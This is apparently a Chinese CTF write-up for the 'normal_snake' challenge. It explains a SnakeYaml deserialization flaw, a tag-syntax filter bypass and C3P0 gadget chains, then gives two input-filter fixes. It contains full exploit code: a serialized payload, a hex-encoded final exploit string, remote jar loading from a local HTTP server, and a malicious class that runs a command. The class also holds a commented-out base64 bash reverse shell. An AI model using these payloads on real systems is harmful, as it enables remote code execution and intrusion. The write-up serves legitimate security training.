首页 > 其他分享 >2023 华北分区赛 normal_snake

2023 华北分区赛 normal_snake

时间:2023-06-11 20:23:12浏览次数:52  
标签:分区赛 normal throws v2 snake mchange 序列化 com public

国赛终于解出Java题了,顺利拿下一血,思路之前也学过。继续加油

normal_snake

题目解读

  @RequestMapping({"/read"})
  public String hello(@RequestParam(name = "data", required = false) String data, Model model) {
    try {
      if (data.contains("!!"))
        return "pls dont do that!!!"; 
      new SafeConstructorWithException(data);
      Yaml yaml = new Yaml();
      yaml.load(data);
      return "Well done";
    } catch (SafeStringException e) {
      return "Unsafe data detected!";
    } catch (CustomException e) {
      return "No way to pass!";
    } catch (Exception e) {
      return "snake snake snake!";
    } 
  }

hello 路由下存在 SnakeYaml 反序列化漏洞,禁用了 yaml 的常用头 !!。但是可以通过 tag 头进行绕过

!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl>\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true
    
!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true

或者是

%TAG !      tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]

SafeConstructorWithException 中过滤了常见的 payload 关键字,HEX 编码部分禁用了 BadAttributeValueExpException 和 HotSwappableTargetSource。这些都不重要

private void checkForExceptions() throws RuntimeException, RuntimeException {
    String upperCaseData = this.data.toUpperCase();
    if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) {
        if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) {
            throw new RuntimeException("No way to pass!");
        }
    } else {
        throw new RuntimeException("Unsafe data detected!");
    }
}

攻击 break

给了C3P0的依赖,所以肯定是用C3P0来打

C3P0 利用链

C3P0 主要有以下利用链:

触发点 功效 适用性
JndiRefForwardingDataSource#setLoginTimeout -- InitialContext#lookup Jndi 注入 fastjson/snakeyaml/jackson
WrapperConnectionPoolDataSource#setUserOverridesAsString -- ObjectInputStream#readObject Hex 解码后触发原生反序列化 fastjson/snakeyaml/jackson
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- InitialContext#lookup Jndi 注入 Java原生反序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- URLClassLoader URLCLassLoader 远程类加载 Java原生反序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- BeanFactory#getInstance 不出网的命令注入 Java原生反序列化不出网

JndiRefForwardingDataSource:Jndi 注入

com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) 可以触发 jndi 注入

com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds)
 -com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()
   -com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()
     -InitialContext#lookup()

SnakeYaml 可以触发该 setter 方法

String poc_snakeyaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n jndiName: \"rmi://127.0.0.1:1234/Exploit\"\n loginTimeout: 0";

WrapperConnectionPoolDataSource:Hex 二次反序列化

String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";

简单解释一下为什么 SnakeYaml 可以触发 Hex 二次反序列化这条链子:首先 SnakeYaml 在反序列化的时候会根据 yaml 中的类属性描述进行相关 setter 方法并调用

WrapperConnectionPoolDataSourceBase 是 WrapperConnectionPoolDataSource的父类

com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString在 snakeyaml 反序列化的时候会被调用

public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
{
    String oldVal = this.userOverridesAsString;
    if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
        vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
    this.userOverridesAsString = userOverridesAsString;
}

然后经过一系列调用栈

java.beans.VetoableChangeSupport#fireVetoableChange(String propertyName, Object oldValue, Object newValue)
    -java.beans.VetoableChangeSupport#fireVetoableChange(PropertyChangeEvent event)
      -java.beans.VetoableChangeListener#vetoableChange()
        -C3P0ImplUtils#parseUserOverridesAsString()
          -com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[] bytes)
    		-com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)

C3P0ImplUtils#parseUserOverridesAsString方法:从形参处截取掉HASM_HEADER:HexAsciiSerializedMap字符串然后进行hex解码为字节数组image-20230611132634763

com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)处理字节数组调用原生反序列化。

public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
    ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return in.readObject();
}

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:jndi 注入

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
  -IndirectlySerialized#getObject()
  -com.mchange.v2.naming.ReferenceIndirector#getObject()
    -InitialContext#lookup()

com.mchange.v2.naming.ReferenceIndirector#getObject() 内部可以触发 JNDI 注入image-20230611135843497

具体怎么得到正确的序列化流下部分讲解

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:远程类加载

利用链可参考ysoerial

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
  -IndirectlySerialized#getObject()
  -com.mchange.v2.naming.ReferenceIndirector#getObject()
    -com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)
     -URLClassLoader

com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)这里会获取通过 URLClassLoader 来加载远程的类并进行初始化和 getObjectInstance 方法的调用。因此可以直接在静态块里面放入恶意数据进行RCEimage-20230611140329632

PoolBackedDataSourceBase 反序列化

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject() image-20230611150345742

红框中的 ois.readObject() 获取的是 IndirectlySerialized 对象,IndirectlySerialized 是一个接口,其的唯一子类是 ReferenceSerialized,但是 ReferenceSerialized 是 ReferenceIndirector 类内部的私有类,该类不能进行初始化操作。所以我们现在要康康 writeObject 是如何将 ReferenceSerialized 写入到序列化流中的

PoolBackedDataSourceBase 序列化

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject() 中,如果序列化的类是不可序列化的话(NotSerializableException),将会在 catch 块中对 connectionPoolDataSource 属性用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作。(connectionPoolDataSource 属性是 ConnectionPoolDataSource 类的实例)image-20230611151357557

ReferenceIndirector.indirectForm 方法中会取出参数 ConnectionPoolDataSource 实例中的 Reference 对象并构造出可序列化的 ReferenceSerialized 对象并返回

public IndirectlySerialized indirectForm( Object orig ) throws Exception
{ 
    Reference ref = ((Referenceable) orig).getReference();
    return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}
ReferenceSerialized( Reference   reference,
                    Name        name,
                    Name        contextName,
                    Hashtable   env )
{
    this.reference = reference;
    this.name = name;
    this.contextName = contextName;
    this.env = env;
}

所以我们就需要序列化一个没有实现 Serializable 接口的 ConnectionPoolDataSource 的实例才能将 IndirectlySerialized 写入到序列化流中,ConnectionPoolDataSource 接口有俩个子类,不过遗憾的是它们俩都可以被序列化

  • WrapperConnectionPoolDataSource
  • JndiRefConnectionPoolDataSource

那么只能自己写一个实现 ConnectionPoolDataSource 接口的类但是不可被序列化的类咯

class C3P0DataSource implements ConnectionPoolDataSource, Referenceable {

    @Override
    public Reference getReference() throws NamingException {
        Reference reference = new Reference("Payload8","Payload8","http://172.1.39.101:5555/payload8.jar");
        return reference;
    }

    @Override
    public PooledConnection getPooledConnection() throws SQLException {
        return null;
    }

    @Override
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {
        return null;
    }

    @Override
    public PrintWriter getLogWriter() throws SQLException {
        return null;
    }

    @Override
    public void setLogWriter(PrintWriter out) throws SQLException {

    }

    @Override
    public void setLoginTimeout(int seconds) throws SQLException {

    }

    @Override
    public int getLoginTimeout() throws SQLException {
        return 0;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }
}

大功告成

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:BeanFactory不出网

JAVA反序列化之C3P0不出网利用 和 JNDI 高版本注入很像

解题思路

因为题目的入口点是 Yaml.load 然后又给了 C3P0 依赖,又过滤了 jndi 之类的关键字,所以能想到肯定是 SnakeYaml + C3P0 的 HEX 二次反序列化。根据上面的 5 条 C3P0 利用链,选择 SnakeYaml 反序列化触发原生反序列化

WrapperConnectionPoolDataSource#setUserOverridesAsString -- ObjectInputStream#readObject

然后再触发远程类加载或者jndi注入

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- InitialContext#lookup
or
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- URLClassLoader

这俩种都可以,我最后选择了 URLClassLoader 远程加载类来触发

EXP

生成序列化内容:

public class Main2 {
    private static String string = "";
    private static byte[] data;
    public static void main(String[] args) throws Exception {
        //URLClassLoader
        C3P0DataSource c3P0DataSource = new C3P0DataSource();

        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Constructor declaredConstructor = clazz.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        PoolBackedDataSourceBase poolBackedDataSourceBase = (PoolBackedDataSourceBase)declaredConstructor.newInstance();
        setFieldValue("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase",poolBackedDataSourceBase,"connectionPoolDataSource",c3P0DataSource);

        serialize(poolBackedDataSourceBase);
        //unserialize();
        String hexAscii = ByteUtils.toHexAscii(data);
        System.out.println(hexAscii);
        String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";
        System.out.println(poc);
        Yaml yaml = new Yaml();
        //yaml.load(poc);
    }
    public static void setFieldValue(String className,Object object, String field_name, Object field_value) throws Exception {
        Class clazz = Class.forName(className);
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,field_value);
    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        //string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        data = byteArrayOutputStream.toByteArray();
    }
    public static void unserialize() throws Exception {
        //ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

class C3P0DataSource implements ConnectionPoolDataSource, Referenceable {

    @Override
    public Reference getReference() throws NamingException {
        Reference reference = new Reference("Payload8","Payload8","http://127.0.0.1:5555/payload8.jar");
        //Reference reference = new Reference("Payloadxx","Payloadxx","");
        return reference;
    }

    @Override
    public PooledConnection getPooledConnection() throws SQLException {
        return null;
    }

    @Override
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {
        return null;
    }

    @Override
    public PrintWriter getLogWriter() throws SQLException {
        return null;
    }

    @Override
    public void setLogWriter(PrintWriter out) throws SQLException {

    }

    @Override
    public void setLoginTimeout(int seconds) throws SQLException {

    }

    @Override
    public int getLoginTimeout() throws SQLException {
        return 0;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }
}

需要提前准备恶意类,并将其打包成 jar 包

public class Payload8 {
    private static final long serialVersionUID = 1593252632163539756L;
    static{
        String string = "calc";
        String[] commands = null;
        String command = "";
        if (System.getProperty("os.name").toLowerCase().contains("win")) {
            commands = new String[]{"cmd", "/c", string};
        } else {
            //command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMS4zOS4xMDUvNzc3NyAwPiYxCg==}|{base64,-d}|{bash,-i}";
        }
        try {
            Runtime.getRuntime().exec(commands);
            //Runtime.getRuntime().exec(command);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

打 jar 包命令:

jar -cvf payload8.jar .

然后再本地打开监听端口

python -m http.server 5555

最后的 Poc:

!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: "HexAsciiSerializedMap:ACED000573720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00024C000D6964656E74697479546F6B656E71007E00024C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E00084C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00024C0014636C617373466163746F72794C6F636174696F6E71007E00024C0009636C6173734E616D6571007E00027870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A70707070707070707070787400085061796C6F616438740022687474703A2F2F3132372E302E302E313A353535352F7061796C6F6164382E6A617271007E001470737200256A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654D6170F1A5A8FE74F507420200014C00016D71007E00037870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F400000000000007708000000100000000078707077040000000378;"}

url 全编码打一下image-20230610160219902

修复 Fix

俩处任意修复一处就行吧

Fix1:

      if (data.contains("!!") || data.contains("!<tag") || data.contains("tag"))
        return "pls dont do that!!!"; 

Fix2:

if (upperCaseData.contains("JAVA") || upperCaseData.contains("JNDI") || upperCaseData.contains("JDBC") || upperCaseData.contains("HEXASCIISERIALIZEDMAP") || upperCaseData.contains("ACED"))
    throw new SafeStringException("Unsafe data detected!"); 

标签:分区赛,normal,throws,v2,snake,mchange,序列化,com,public
From: https://www.cnblogs.com/BUTLER/p/17473487.html

相关文章

  • 浅谈mysql索引类型(normal、unique、full textl) 的区别和使用场景
    mysql索引类型mysql索引类型normal,unique,fulltext的区别是什么?normal:表示普通索引unique:表示唯一的,不允许重复的索引,如果该字段信息保证不会重复例如身份证号用作索引时,可设置为uniquefulltextl:表示全文搜索的索引。FULLTEXT用于搜索很长一篇文章的时候,效果最好。用在......
  • 正则化(regularization)和归一化(normalization)
    正则化:批量归一化和dropout批量归一化和dropout作为正则化器来克服深度学习模型中的过度拟合问题。 来源您遇到过导致过拟合的大型数据集吗?过度拟合的原因之一是网络中的权重很大。具有较大网络权重的网络可能是网络不稳定的标志,其中输入的微小变化可能导致输......
  • 标准化(Standardization)、归一化(Normalization)
    归一化:1)把数据变成(0,1)或者(1,1)之间的小数。主要是为了数据处理方便提出来的,把数据映射到0~1范围之内处理,更加便捷快速。2)把有量纲表达式变成无量纲表达式,便于不同单位或量级的指标能够进行比较和加权。归一化是一种简化计算的方式,即将有量纲的表达式,经过变换,化为无量纲的表达式,成为......
  • GATK最佳实践之数据预处理SnakeMake流程
    <生信交流与合作请关注公众~号@生信探索>写的数据预处理snakemake流程其实包括在每个单独的分析中比如种系遗传变异和肿瘤变异流程中,这里单独拿出来做演示用,因为数据预处理是通用的,在call变异之前需要处理好数据。数据预处理过程包括,从fastq文件去接头、比对到基因组、去除重复......
  • 01.GATK人种系变异最佳实践SnakeMake流程:WorkFlow简介
    <~生~信~交~流~与~合~作~请~关~注~公~众~号@生信探索>学习的第一个GATK找变异流程,人的种系变异的短序列变异,包括SNP和INDEL。写了一个SnakeMake分析流程,从fastq文件到最后的vep注释后的VCF文件,关于VCF的介绍可以参考上一篇推文基因序列变异信息VCF(VariantCallFormat)流程代......
  • Graph Normalizing Flows
    目录概符号说明GraphNormalizingFlowsGRevNetsLiuJ.,KumarA.,BaJ.,KirosJ.andSwerskyK.Graphnormalizingflows.NIPS,2019.概基于flows的图的生成模型.符号说明\(\mathcal{G}=(H,\Omega)\),图;\(H=(\mathbf{h}^{(1)},\cdots,\mathbf{h}^{(N)})......
  • 【研究生学习】Batch Normalization和Layer Normalization
    本篇博客记录一下在深度学习中常用的BatchNormalization和LayerNormalization方法的基本原理,参考的资料的链接如下:独立同分布的数据可以简化常规机器学习模型的训练,提升机器学习模型的预测能力,因此把数据喂给机器学习模型之前,白化是一个重要的数据预处理步骤,......
  • 使用eNSP模拟器配置GVRP(以Normal模式为例)
    知识点讲解:什么是GVRP?答:GARP(GenericAttributeRegistrationProtocol)协议主要用于建立一种属性传递扩散的机制,以保证协议实体能够注册和注销该属性。GARP作为一个属性注册协议的载体,可以用来传播属性。将GARP协议报文的内容映射成不同的属性即可支持不同上层协议应用。GVRP(GARP......
  • 核密度估计及ks检验确定最优核密度估计 使用Normal、bo
    核密度估计及ks检验确定最优核密度估计使用Normal、box、triangle、Epanechnikov四种方法,默认是Normal矩形框颜色可以自定义设置可以对实际数据进行更精确的概率分布拟合Matlab代码ID:1550705480555518......
  • date or other data normalization general solution in pandas
    importpandasaspdimportnumpyasnpfromsklearn.preprocessingimportMinMaxScalerimporttime #ofcourseyoucanusebasicpandasapidoingthisjob,butI'dprefergeneralsolutionherebydefconvert_to_timestamp(x):  """C......